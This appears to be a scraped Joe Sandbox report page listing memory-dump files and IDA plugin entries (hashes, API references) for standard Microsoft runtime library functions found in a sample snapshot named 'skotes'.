Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: ea867687ef035f2ec37115bbb2f3c36de13d75edfc132a20a8ca2f7988279a80
Instruction ID: ab966052de12f1048637ab88ba27fd3ace6a485ac64ccf3588a8a97cb8b10bd8
Opcode Fuzzy Hash: ea867687ef035f2ec37115bbb2f3c36de13d75edfc132a20a8ca2f7988279a80
Instruction Fuzzy Hash: 1671B970900249ABDF15DF68C990ABEBBB2EFA5304F04409AEC416B353C77A9D17DB61

Function 007C2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 007C2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007C28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007C2913

Part of subcall function 007C07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 007C080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 007C2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007C29DB

Part of subcall function 007C07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007C07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007C29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007C2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 007C2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 007C2A7E

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 6e1f1da2709f990d4cd15fee97d317b44ad18105eabfd4440357aa5cb4627a17
Instruction ID: cf9f546de89a118af24816500b10206911ad5fed26c9dccd58e9396e02eafe9a
Opcode Fuzzy Hash: 6e1f1da2709f990d4cd15fee97d317b44ad18105eabfd4440357aa5cb4627a17
Instruction Fuzzy Hash: F8819231A00656DFCF58DF68D8A5A6EBBF1BB48320B64802DD445E7252D7386D42CFA4

Function 007C69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007C6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 007C6A51
List.LIBCONCRT ref: 007C6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 007C6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 007C6AB9
List.LIBCONCRT ref: 007C6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 007C6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007C6B20
List.LIBCONCRT ref: 007C6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 007C6B68

Part of subcall function 007C5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007C5EF7
Part of subcall function 007C5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007C5F09

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 5eb3080586235957bb36502eb13d16dd2590bc8594753fab74ab4b6d6ecd6f54
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: AB513171A00209EBDB08DF54C595FEDB3A8BF08344F15406DE915AB241DB38FE45CB90

Function 007D52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 007D53A0
type_info::operator==.LIBVCRUNTIME ref: 007D53C7
___TypeMatch.LIBVCRUNTIME ref: 007D54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 007D55AE
CallUnexpected.LIBVCRUNTIME ref: 007D5650

Strings

csm, xrefs: 007D52E0
csm, xrefs: 007D53FE
csm, xrefs: 007D534D

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: afe93a677b4feaacd05f008725af30d473d662872a97aede7f2526ceb4aaf0bb
Instruction ID: b6b92ec0067d267309a0ae1f5a7e56c9ce79f9ef325b44b22429ec7696ca9084
Opcode Fuzzy Hash: afe93a677b4feaacd05f008725af30d473d662872a97aede7f2526ceb4aaf0bb
Instruction Fuzzy Hash: 3CC1AA71800609EFCF25DFA4D8849AEBBB6BF14315F04415BF816AB312D379DA61CBA1

Function 007D4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 007D4877
___except_validate_context_record.LIBVCRUNTIME ref: 007D487F
_ValidateLocalCookies.LIBCMT ref: 007D4908
__IsNonwritableInCurrentImage.LIBCMT ref: 007D4933
_ValidateLocalCookies.LIBCMT ref: 007D4988

Strings

S9}, xrefs: 007D4925, 007D492E, 007D493F
csm, xrefs: 007D491D

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9}$csm
API String ID: 1170836740-3002177684
Opcode ID: cdc596d316d43f55d91b93ccc142d2437e393291f2ae182c9b3019c2d10cc1bd
Instruction ID: ac4be8125a8b9bca87c841d481640b78b9b668465f17bef79ebffb0b634b391e
Opcode Fuzzy Hash: cdc596d316d43f55d91b93ccc142d2437e393291f2ae182c9b3019c2d10cc1bd
Instruction Fuzzy Hash: E641D834E00248EFCF10DF69C888A9E7BB5FF45314F148156E818AB392D779EA11CB91

Function 007C7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007C73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007C73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 007C740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 007C7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007C7440

Strings

ppVirtualProcessorRoots, xrefs: 007C7438
count, xrefs: 007C737E

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
